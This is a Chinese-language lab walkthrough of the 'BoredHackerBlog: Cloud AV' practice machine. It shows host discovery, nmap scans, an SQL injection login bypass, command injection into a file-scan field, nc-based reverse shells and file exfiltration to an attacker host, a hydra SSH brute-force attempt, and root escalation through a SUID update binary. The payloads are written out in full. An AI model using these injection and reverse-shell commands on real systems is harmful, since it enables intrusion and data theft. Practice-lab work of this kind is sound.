BOREDHACKERBLOG: CLOUD AV

0x01 主机发现

1
for i in $(seq 1 254); do sudo arping -c 2 10.0.2.$i; done

0x02 端口扫描

1
sudo nmap -p- 10.0.2.5

0x03 服务识别

1
sudo nmap -p22,8080 -sV 10.0.2.5

0x04 堆叠注入

访问Web服务瞧瞧

有输入框,挂BP抓个包看看

基本全明文,那把参数替换成特殊字符试试,把键盘上所有的特殊字符做成字典,过一遍看有无报错

看到报错信息了,在页面上注入查看详细信息。

看到报错信息,是sqlite数据库,连数据库语句都报出来了。

尝试万能密码绕过

1
" or 1=1--

猜测功能为输入文件名,调用杀毒程序进行查杀。

系统应该是执行 avscan fileName 类似的命令,尝试堆叠注入。

1
hello | id

堆叠注入成功,代表此处存在命令注入。

由上面的服务发现可知,系统存在python2环境,此处可以用Python代码执行反弹shell,但考虑到代码过长,选择另一种更为常见的方式,nc反弹shell

nc常用在反弹shell,它既可以主动发起连接,也可以被动等待连接,常用命令:

1
2
3
4
# 主动发起连接,-e参数是指连接交予sh
nc ip 4444 -e /bin/sh
# 被动接受连接
nc -nvlp 4444

这里有个需要注意的地方,不同发行版的Linux用的是不同版本的nc,部分nc没有-e参数,不指定权限交予程序。

先尝试用带 e 的命令行注入,无连接反应。

这里介绍一种新思路:

1、受害机通过nc建立一个普通连接
2、把第一个连接的输入重定向到受害者本地的/bin/bash
3、把/bin/bash的输入重定向到另一个nc连接

首先,本地开启两个Nc端口监听

1
2
3
4
# 第一个Nc监听,用于执行命令
nc -nvlp 3333
# 第二个Nc监听,用于输入执行结果
nc -nvlp 4444

受害机执行

1
2
# hello为堆叠注入,
hello | nc 10.0.2.4 3333 | /bin/bash | nc 10.0.2.4 4444

得到反弹shell,3333端口用于命令输入,4444端口用于结果输出。

0x05 SSH爆破尝试

进行信息收集,看到database.sql文件。

由先前报错可知,采用的是sqlite数据库,转了一圈发现本地没有sqlite环境读取,则把文件下载到本地来读取。

1
2
3
4
5
# nc进行文件传输
# kali进行nc端口监听
nc ip 5555 > db.sql
# 目标机进行nc数据传输
nc ip 5555 < database.sql
1
2
3
4
5
# 本地读取sqlite文件
sqlite3
.open db.sql
.database
.dump
1
2
# 读取当前系统有bash权限的用户
cat /etc/passwd | grep /bin/bash

得到 cloudav & scanner。

制作字典尝试爆破SSH。

1
2
3
vi user.txt      # cloudav | scanner
vi password.txt # myinvitecode123 | mysecondinvitecode | cloudavtech | mostsecurescanner
hydra -L user.txt - P pass.txt ssh://ip

结果全部错误,木大。

0x06 命令行提权

直接在反弹shell尝试提权吧。

兜兜转转一圈下来,没发现啥内核提权漏洞。只有用于搭建网站的前后端文件、数据库文件。

这时,习惯用 ls -l 命令的我发现了疑点

在上个目录下发现了suid属性的文件,所属是root用户,并且其他组用户还有执行权限。

如果用 root 所属的文件创建新的连接,那就是一个root权限的连接。

刚好有个.c的源文件,看看这个文件是干嘛的

简单来讲就是,执行软件更新命令,那就涉及命令执行,尝试下最开始的堆叠注入吧。

1
./update_cloudav "id | nc 10.0.2.4 6666 | /bin/bash | nc 10.0.2.4 7777"

拿到 root 权限了。